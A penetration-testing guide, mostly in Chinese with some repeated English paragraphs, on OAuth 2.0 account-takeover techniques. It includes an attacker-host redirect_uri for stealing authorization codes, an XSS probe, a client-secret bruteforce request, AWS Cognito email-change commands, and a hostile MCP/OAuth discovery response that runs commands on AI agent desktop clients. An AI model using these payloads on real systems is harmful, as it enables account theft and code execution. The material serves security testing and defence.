OAuth 到 账户接管

Tip

学习和实践 AWS 黑客技术：HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术：HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术：HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

基本信息

OAuth 提供多个版本，基础信息可见于 OAuth 2.0 documentation。本讨论主要关注广泛使用的 OAuth 2.0 authorization code grant type，它提供了一个授权框架，使得一个应用能够在另一个应用（the authorization server）上代表用户访问或对用户帐户执行操作。

考虑一个假设的网站 https://example.com，用于展示你所有的社交媒体帖子，包括私密帖子。为此使用了 OAuth 2.0。https://example.com 将请求你的许可以访问你的社交媒体帖子。因此，https://socialmedia.com 会显示一个同意界面，列出被请求的权限和发起请求的开发者。在你授权后，https://example.com 将能够代表你访问你的帖子。

理解 OAuth 2.0 框架中的以下组件很重要：

  • resource owner: 你，作为用户/实体，授权访问你的资源，例如你的社交媒体账户帖子。
  • resource server: 在应用代表 resource owner 获取了 access token 后，负责处理已认证请求的服务器，例如 https://socialmedia.com。
  • client application: 向 resource owner 请求授权的应用，例如 https://example.com。
  • authorization server: 在成功验证 resource owner 并获得授权后，向 client application 签发 access tokens 的服务器，例如 https://socialmedia.com。
  • client_id: 应用的公开、唯一标识符。
  • client_secret: 仅为应用和 authorization server 所知的机密密钥，用于生成 access_tokens。
  • response_type: 指定请求的令牌类型的值，例如 code。
  • scope: client application 向 resource owner 请求的访问范围。
  • redirect_uri: 用户授权后被重定向到的URL。通常必须与预先注册的重定向 URL 匹配。
  • state: 在用户重定向到授权服务器并返回时用于维护数据的参数。其唯一性对于作为CSRF 保护机制至关重要。
  • grant_type: 指示授权类型以及要返回的令牌类型的参数。
  • code: 来自 authorization server 的授权码，客户端与 client_id 和 client_secret 一起使用该码以获取 access_token。
  • access_token: 客户端应用代表 resource owner 发起 API 请求时使用的令牌。
  • refresh_token: 允许应用在不再次提示用户的情况下获取新的 access_token。

流程

实际的 OAuth 流程如下：

  1. 你访问 https://example.com 并点击 “Integrate with Social Media” 按钮。
  2. 该站点向 https://socialmedia.com 发送请求，请求你授权让 https://example.com 的应用访问你的帖子。请求的结构如下：
https://socialmedia.com/auth
?response_type=code
&client_id=example_clientId
&redirect_uri=https%3A%2F%2Fexample.com%2Fcallback
&scope=readPosts
&state=randomString123
  1. 然后会显示一个同意页面。
  2. 在你批准后，社交媒体会向 redirect_uri 发送包含 code 和 state 参数的响应：
https://example.com?code=uniqueCode123&state=randomString123
  1. https://example.com 使用这个 code，连同其 client_id 和 client_secret，向服务器端发送请求以代表你获取 access_token，从而访问你已同意的权限：
POST /oauth/access_token
Host: socialmedia.com
...{"client_id": "example_clientId", "client_secret": "example_clientSecret", "code": "uniqueCode123", "grant_type": "authorization_code"}
  1. Finally, the process concludes as https://example.com employs your access_token to make an API call to Social Media to access

漏洞

Open redirect_uri

Per RFC 6749 §3.1.2, the authorization server must redirect the browser only to pre-registered, exact redirect URIs. Any weakness here lets an attacker send a victim through a malicious authorization URL so that the IdP delivers the victim’s code (and state) straight to an attacker endpoint, who can then redeem it and harvest tokens.

典型攻击流程：

  1. 构造 https://idp.example/auth?...&redirect_uri=https://attacker.tld/callback 并将其发送给受害者。
  2. 受害者完成认证并批准 scopes。
  3. IdP 重定向到 attacker.tld/callback?code=<victim-code>&state=...，攻击者在此记录请求并立即兑换该 code。

常见需要探测的验证缺陷：

  • No validation – 任意绝对 URL 会被接受，从而立即导致 code 被窃取。
  • Weak substring/regex checks on the host – 可通过相似域名绕过，例如 evilmatch.com、match.com.evil.com、match.com.mx、matchAmatch.com、evil.com#match.com 或 match.com@evil.com。
  • IDN homograph mismatches – 验证发生在 punycode 形式（xn--），但浏览器会重定向到攻击者控制的 Unicode 域名。
  • Arbitrary paths on an allowed host – 将 redirect_uri 指向 /openredirect?next=https://attacker.tld 或任何 XSS/用户内容端点，可能通过链式重定向、Referer 头或注入的 JavaScript 泄露 code。
  • Directory constraints without normalization – 像 /oauth/* 这样的模式可以通过 /oauth/../anything 绕过。
  • Wildcard subdomains – 接受 *.example.com 意味着任何 takeover（dangling DNS、S3 bucket 等）都能立即产生有效回调。
  • Non-HTTPS callbacks – 允许 http:// URI 会让网络攻击者（Wi‑Fi、企业代理）有机会在传输中截取 code。

还应检查辅助的重定向类参数（client_uri、policy_uri、tos_uri、initiate_login_uri 等）以及 OpenID discovery 文档（/.well-known/openid-configuration），以寻找可能继承相同验证缺陷的额外端点。

XSS in redirect implementation

As mentioned in this bug bounty report https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html it might be possible that the redirect URL is being reflected in the response of the server after the user authenticates, being vulnerable to XSS. Possible payload to test:

https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</script><h1>test</h1>

CSRF - state 参数处理不当

The state parameter is the Authorization Code flow CSRF token: the client must generate a cryptographically random value per browser instance, persist it somewhere only that browser can read (cookie, local storage, etc.), send it in the authorization request, and reject any response that does not return the same value. Whenever the value is static, predictable, optional, or not tied to the user’s session, the attacker can finish their own OAuth flow, capture the final ?code= request (without sending it), and later coerce a victim browser into replaying that request so the victim account becomes linked to the attacker’s identity provider profile.

重放模式始终相同：

  1. 攻击者使用自己的账户在 IdP 认证并拦截包含 code（以及任何 state）的最终重定向。
  2. 他们丢弃该请求，保留该 URL，并在之后滥用任意 CSRF 原语（链接、iframe、自提交表单）强迫受害者浏览器加载它。
  3. 如果客户端不强制校验 state，应用将接受攻击者的授权结果并把攻击者登录到受害者的应用账户。

测试时 state 处理的实用检查表：

  • Missing state entirely – 如果该参数从未出现，整个登录流程就是 CSRFable。
  • state not required – 从初始请求中移除它；如果 IdP 仍然发出客户端接受的 codes，则防护为可选。
  • Returned state not validated – 篡改响应中的该值（使用 Burp、MITM proxy）。接受不匹配的值意味着存储的令牌从未被比较。
  • Predictable or purely data-driven state – 许多应用将重定向路径或 JSON blobs 塞入 state 中却不混入随机性，使攻击者能够猜测有效值并重放流程。在对数据进行编码前，始终在前后加入强随机性（entropy）。
  • state fixation – 如果应用允许用户提供 state 值（例如通过特制的 authorization URLs）并在整个流程中重复使用，攻击者可以固定一个已知值并在多个受害者间重用。

PKCE can complement state (especially for public clients) by binding the authorization code to a code verifier, but web clients must still track state to prevent cross-user CSRF/account-linking bugs.

PKCE 可以补充 state（特别是针对 public clients），通过将 authorization code 绑定到 code verifier，但 web 客户端仍然必须跟踪 state 以防止跨用户的 CSRF/账户关联漏洞。

Pre Account Takeover

  1. Without Email Verification on Account Creation: Attackers can preemptively create an account using the victim’s email. If the victim later uses a third-party service for login, the application might inadvertently link this third-party account to the attacker’s pre-created account, leading to unauthorized access.

  2. Exploiting Lax OAuth Email Verification: Attackers may exploit OAuth services that don’t verify emails by registering with their service and then changing the account email to the victim’s. This method similarly risks unauthorized account access, akin to the first scenario but through a different attack vector.

  3. Without Email Verification on Account Creation：攻击者可以利用受害者的邮箱预先创建账号。如果受害者后来使用第三方服务登录，应用可能会无意中将该第三方账号与攻击者预创建的账号关联，从而导致未经授权的访问。

  4. Exploiting Lax OAuth Email Verification：攻击者可能利用那些不验证邮箱的 OAuth 服务，先用自己的信息注册，然后将账户邮箱改为受害者的邮箱。该方法同样会导致未经授权的账户访问，与第一种情形类似，但通过不同的攻击向量实现。

Disclosure of Secrets

The client_id is intentionally public, but the client_secret must never be recoverable by end users. Authorization Code deployments that embed the secret in mobile APKs, desktop clients, or single-page apps effectively hand that credential to anyone who can download the package. Always inspect public clients by:

client_id 是公开的，但 client_secret 绝不应被终端用户恢复。将 secret 嵌入 mobile APKs、desktop clients 或 single-page apps 的 Authorization Code 部署，实质上把该凭证交给了任何能下载包的人。审查 public clients 时请始终：

  • Unpacking the APK/IPA, desktop installer, or Electron app and grepping for client_secret, Base64 blobs that decode to JSON, or hard-coded OAuth endpoints.

  • Reviewing bundled config files (plist, JSON, XML) or decompiled strings for client credentials.

  • 解包 APK/IPA、桌面安装程序或 Electron 应用，并 grep 查找 client_secret、可解码为 JSON 的 Base64 blobs，或硬编码的 OAuth 端点。

  • 审查捆绑的配置文件（plist、JSON、XML）或反编译出的字符串以查找客户端凭证。

Once the attacker extracts the secret they only need to steal any victim authorization code (via a weak redirect_uri, logs, etc.) to independently hit /token and mint access/refresh tokens without involving the legitimate app. Treat public/native clients as incapable of holding secrets—they should instead rely on PKCE (RFC 7636) to prove possession of a per-instance code verifier instead of a static secret. During testing, confirm whether PKCE is mandatory and whether the backend actually rejects token exchanges that omit either the client_secret or a valid code_verifier.

一旦攻击者提取出 secret，他们只需窃取任意受害者的授权 code（通过弱 redirect_uri、日志等）即可独立请求 /token 并生成 access/refresh tokens，而无需经过合法应用。将 public/native clients 视为 无法保管秘密——它们应改用 PKCE (RFC 7636)，通过每实例的 code verifier 来证明持有权，而不是使用静态 secret。测试时，确认 PKCE 是否为强制，并确认后端是否确实拒绝既不提供 client_secret 或 有效 code_verifier 的 token 交换。

Client Secret Bruteforce

You can try to bruteforce the client_secret of a service provider with the identity provider in order to be try to steal accounts.
The request to BF may look similar to:

POST /token HTTP/1.1
content-type: application/x-www-form-urlencoded
host: 10.10.10.10:3000
content-length: 135
Connection: close

code=77515&redirect_uri=http%3A%2F%2F10.10.10.10%3A3000%2Fcallback&grant_type=authorization_code&client_id=public_client_id&client_secret=[bruteforce]

Referer Header leaking Code + State

一旦客户端获得了 code and state，如果在浏览器跳转到其他页面时它们被反映在 Referer header 中，则存在漏洞。

Access Token Stored in Browser History

Authorization Code grant 的核心保证是 access tokens never reach the resource owner’s browser。当实现把 tokens leak 到客户端时，任何小问题（如 XSS、Referer leak、proxy logging）都可能导致即时的账户被入侵。始终检查：

  • Tokens in URLs – 如果 access_token 出现在查询参数或 fragment 中，它会出现在浏览器历史、服务器日志、analytics，以及发送给第三方的 Referer headers 中。
  • Tokens transiting untrusted middleboxes – 通过 HTTP 返回 token 或通过调试/企业代理传输，会让网络监听者直接捕获它们。
  • Tokens stored in JavaScript state – React/Vue 的 store、全局变量或序列化的 JSON blob 会向该 origin 上的所有脚本暴露 token（包括 XSS 有效载荷或恶意扩展）。
  • Tokens persisted in Web Storage – localStorage/sessionStorage 会在共享设备上在登出后长时间保留 token，并且可被脚本访问。

上述任何问题通常会把本来“低危”的漏洞（例如 CSP bypass 或 DOM XSS）升级为完整的 API 接管，因为攻击者可以简单地读取并重放 leaked bearer token。

Everlasting Authorization Code

Authorization codes 必须是 短期、一次性且具备重放感知。评估流程时，抓取一个 code 并：

  • Test the lifetime – RFC 6749 建议以分钟为单位而不是小时。尝试在 5–10 分钟后兑换该 code；如果仍然有效，则任何 leaked code 的暴露窗口过长。
  • Test sequential reuse – 连续发送相同的 code 两次。如果第二次请求仍返回另一个 token，攻击者就能无限克隆会话。
  • Test concurrent redemption/race conditions – 并行发起两次 token 请求（Burp intruder, turbo intruder）。弱的 issuer 有时会同时发放两次。
  • Observe replay handling – 重用尝试不仅应该失败，还应撤销已由该 code 签发的任何 token。否则，一次检测到的 replay 会让攻击者的第一个 token 仍然有效。

如果将可以被 replay 的 code 与任意 redirect_uri 或日志记录 bug 结合起来，即使受害者完成合法登录，也可能允许持续的账户访问。

Authorization/Refresh Token not bound to client

如果你能获取 authorization code 并在不同的 client 上使用它，那么你就能 takeover 其他账户。

Happy Paths, XSS, Iframes & Post Messages to leak code & state values

Check this post

AWS Cognito

In this bug bounty report: https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/ 你可以看到 token that AWS Cognito 给回用户的可能拥有 足够的权限来覆盖用户数据。因此，如果你能将某个用户的 email 改为另一个用户的 email，你就可能能够 接管 其他人的账户。

# Read info of the user
aws cognito-idp get-user --region us-east-1 --access-token eyJraWQiOiJPVj[...]

# Change email address
aws cognito-idp update-user-attributes --region us-east-1 --access-token eyJraWQ[...] --user-attributes Name=email,Value=imaginary@flickr.com
{
"CodeDeliveryDetailsList": [
{
"Destination": "i***@f***.com",
"DeliveryMedium": "EMAIL",
"AttributeName": "email"
}
]
}

For more detailed info about how to abuse AWS Cognito check AWS Cognito - Unauthenticated Enum Access.

滥用其他应用 tokens

As mentioned in this writeup, OAuth flows that expect to receive the token (and not a code) could be vulnerable if they not check that the token belongs to the app.

This is because an attacker could create an application supporting OAuth and login with Facebook (for example) in his own application. Then, once a victim logins with Facebook in the attackers application, the attacker could get the OAuth token of the user given to his application, and use it to login in the victim OAuth application using the victims user token.

Caution

Therefore, if the attacker manages to get the user access his own OAuth application, he will be able to take over the victims account in applications that are expecting a token and aren’t checking if the token was granted to their app ID.

Two links & cookie

According to this writeup, it was possible to make a victim open a page with a returnUrl pointing to the attackers host. This info would be stored in a cookie (RU) and in a later step the prompt will ask the user if he wants to give access to that attackers host.

To bypass this prompt, it was possible to open a tab to initiate the Oauth flow that would set this RU cookie using the returnUrl, close the tab before the prompt is shown, and open a new tab without that value. Then, the prompt won’t inform about the attackers host, but the cookie would be set to it, so the token will be sent to the attackers host in the redirection.

Prompt Interaction Bypass

As explained in this video, some OAuth implementations allows to indicate the prompt GET parameter as None (&prompt=none) to prevent users being asked to confirm the given access in a prompt in the web if they are already logged in the platform.

response_mode

As explained in this video, it might be possible to indicate the parameter response_mode to indicate where do you want the code to be provided in the final URL:

  • response_mode=query -> The code is provided inside a GET parameter: ?code=2397rf3gu93f
  • response_mode=fragment -> The code is provided inside the URL fragment parameter #code=2397rf3gu93f
  • response_mode=form_post -> The code is provided inside a POST form with an input called code and the value
  • response_mode=web_message -> The code is send in a post message: window.opener.postMessage({"code": "asdasdasd...

OAuth consent/login dialogs are ideal clickjacking targets: if they can be framed, an attacker can overlay custom graphics, hide the real buttons, and trick users into approving dangerous scopes or linking accounts. Build PoCs that:

  1. Load the IdP authorization URL inside an <iframe sandbox="allow-forms allow-scripts allow-same-origin">.
  2. Use absolute positioning/opacity tricks to align fake buttons with the hidden Allow/Approve controls.
  3. Optionally pre-fill parameters (scopes, redirect URI) so the stolen approval immediately benefits the attacker.

During testing verify that IdP pages emit either X-Frame-Options: DENY/SAMEORIGIN or a restrictive Content-Security-Policy: frame-ancestors 'none'. If neither is present, demonstrate the risk with tooling like NCC Group’s clickjacking PoC generator and record how easily a victim authorizes the attacker’s app. For additional payload ideas see Clickjacking.

OAuth ROPC flow - 2 FA bypass

According to this blog post, this is an OAuth flow that allows to login in OAuth via username and password. If during this simple flow a token with access to all the actions the user can perform is returned then it’s possible to bypass 2FA using that token.

ATO on web page redirecting based on open redirect to referrer

This blogpost comments how it was possible to abuse an open redirect to the value from the referrer to abuse OAuth to ATO. The attack was:

  1. Victim access the attackers web page
  2. The victim opens the malicious link and an opener starts the Google OAuth flow with response_type=id_token,code&prompt=none as additional parameters using as referrer the attackers website.
  3. In the opener, after the provider authorizes the victim, it sends them back to the value of the redirect_uri parameter (victim web) with 30X code which still keeps the attackers website in the referer.
  4. The victim website trigger the open redirect based on the referrer redirecting the victim user to the attackers website, as the respose_type was id_token,code, the code will be sent back to the attacker in the fragment of the URL allowing him to tacke over the account of the user via Google in the victims site.

SSRFs parameters

Check this research For further details of this technique.

Dynamic Client Registration in OAuth serves as a less obvious but critical vector for security vulnerabilities, specifically for Server-Side Request Forgery (SSRF) attacks. This endpoint allows OAuth servers to receive details about client applications, including sensitive URLs that could be exploited.

Key Points:

  • Dynamic Client Registration is often mapped to /register and accepts details like client_name, client_secret, redirect_uris, and URLs for logos or JSON Web Key Sets (JWKs) via POST requests.
  • This feature adheres to specifications laid out in RFC7591 and OpenID Connect Registration 1.0, which include parameters potentially vulnerable to SSRF.
  • The registration process can inadvertently expose servers to SSRF in several ways:
  • logo_uri: A URL for the client application’s logo that might be fetched by the server, triggering SSRF or leading to XSS if the URL is mishandled.
  • jwks_uri: A URL to the client’s JWK document, which if maliciously crafted, can cause the server to make outbound requests to an attacker-controlled server.
  • sector_identifier_uri: References a JSON array of redirect_uris, which the server might fetch, creating an SSRF opportunity.
  • request_uris: Lists allowed request URIs for the client, which can be exploited if the server fetches these URIs at the start of the authorization process.

Exploitation Strategy:

  • SSRF can be triggered by registering a new client with malicious URLs in parameters like logo_uri, jwks_uri, or sector_identifier_uri.
  • While direct exploitation via request_uris may be mitigated by whitelist controls, supplying a pre-registered, attacker-controlled request_uri can facilitate SSRF during the authorization phase.

OAuth/OIDC Discovery URL Abuse & OS Command Execution

Research on CVE-2025-6514 (impacting mcp-remote clients such as Claude Desktop, Cursor or Windsurf) shows how dynamic OAuth discovery becomes an RCE primitive whenever the client forwards IdP metadata straight to the operating system. The remote MCP server returns an attacker-controlled authorization_endpoint during the discovery exchange (/.well-known/openid-configuration or any metadata RPC). mcp-remote ≤0.1.15 would then call the system URL handler (start, open, xdg-open, etc.) with whatever string arrived, so any scheme/path supported by the OS executed locally.

Attack workflow

  1. Point the desktop agent to a hostile MCP/OAuth server (npx mcp-remote https://evil). The agent receives 401 plus metadata.
  2. The server answers with JSON such as:
HTTP/1.1 200 OK
Content-Type: application/json

{
"authorization_endpoint": "file:/c:/windows/system32/calc.exe",
"token_endpoint": "https://evil/idp/token",
...
}
  1. 客户端会为所提供的 URI 启动操作系统的 handler。Windows 会接受类似 file:/c:/windows/system32/calc.exe /c"powershell -enc ..." 的 payload；macOS/Linux 接受 file:///Applications/Calculator.app/...，如果注册了也会接受像 cmd://bash -lc '<payload>' 这样的自定义 scheme。
  2. 因为这在任何用户交互之前就发生，仅仅将客户端配置为与攻击者服务器通信就可能导致代码执行。

如何测试

  • 针对任何执行通过 HTTP(S) discovery 并在本地打开返回端点的 OAuth-capable 桌面/agent（例如 Electron apps、CLI helpers、thick clients）。
  • 截获或托管 discovery response，并将 authorization_endpoint、device_authorization_endpoint 或类似字段替换为 file://、cmd://、UNC 路径或其他危险 scheme。
  • 观察客户端是否验证 scheme/host。缺乏验证会导致在用户上下文中立即执行，从而证明存在该问题。
  • 使用不同的 scheme 重复测试以映射完整的攻击面（例如 ms-excel:、data:text/html,、custom protocol handlers）并展示跨平台影响范围。

OAuth providers Race Conditions

If the platform you are testing is an OAuth provider read this to test for possible Race Conditions.

Mutable Claims Attack

在 OAuth 中，sub 字段唯一标识用户，但其格式因 Authorization Server 而异。为统一用户标识，一些客户端使用 email 或 user handle。然而，这存在风险，因为：

  • 某些 Authorization Servers 并不保证这些属性（例如 email）保持不可变。
  • 在某些实现中——例如 “Login with Microsoft”——客户端依赖 email 字段，而该字段在 Entra ID 中由用户控制且未经过验证。
  • 攻击者可以通过创建自己的 Azure AD 组织（例如 doyensectestorg）并使用它执行 Microsoft login 来利用这一点。
  • 虽然 Object ID（存储在 sub 中）是不可变且安全的，但依赖可变的 email 字段可能导致 account takeover（例如劫持像 victim@gmail.com 这样的账户）。

Client Confusion Attack

在 Client Confusion Attack 中，使用 OAuth Implicit Flow 的应用未能验证最终的 access token 是否专门为其自身的 Client ID 生成。攻击者搭建一个使用 Google’s OAuth Implicit Flow 的公开网站，诱骗成千上万用户登录，从而收集原本发给攻击者站点的 access tokens。如果这些用户在另一个未验证 token 的 Client ID 的易受攻击网站上也有账户，攻击者就可以重用收集到的 tokens 来冒充受害者并接管他们的账户。

Scope Upgrade Attack

Authorization Code Grant 类型涉及用于传输用户数据的安全 server-to-server 通信。然而，如果 Authorization Server 在 Access Token Request 中隐式信任 scope 参数（一个 RFC 未定义的参数），恶意应用就可能通过请求更高权限的 scope 来升级 authorization code 的权限。生成 Access Token 后，Resource Server 必须对其进行验证：对于 JWT token，这包括校验 JWT 签名并提取诸如 client_id 和 scope 等数据；对于随机字符串 token，服务器必须查询 Authorization Server 来检索 token 的详细信息。

Redirect Scheme Hijacking

在移动端的 OAuth 实现中，应用使用 custom URI schemes 来接收带有 Authorization Codes 的重定向。然而，由于设备上可以有多个应用注册相同的 scheme，只有合法客户端控制重定向 URI 的假设就被破坏。例如在 Android 上，一个像 com.example.app:// 的 Intent URI 是根据 scheme 和 app 的 intent-filter（可选的 filter）来捕获的。由于 Android 的 intent 解析可能较为宽泛——特别是当只指定了 scheme 时——攻击者可以注册一个带有精心构造 intent filter 的恶意应用来劫持 authorization code。这可以通过用户交互（当有多个应用有资格处理该 intent 时）或通过利用过于具体/不当的 filter 的绕过技术来实现 account takeover，Ostorlab 的评估流程图对此有详细说明。

参考资料

Tip

学习和实践 AWS 黑客技术：HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术：HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术：HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks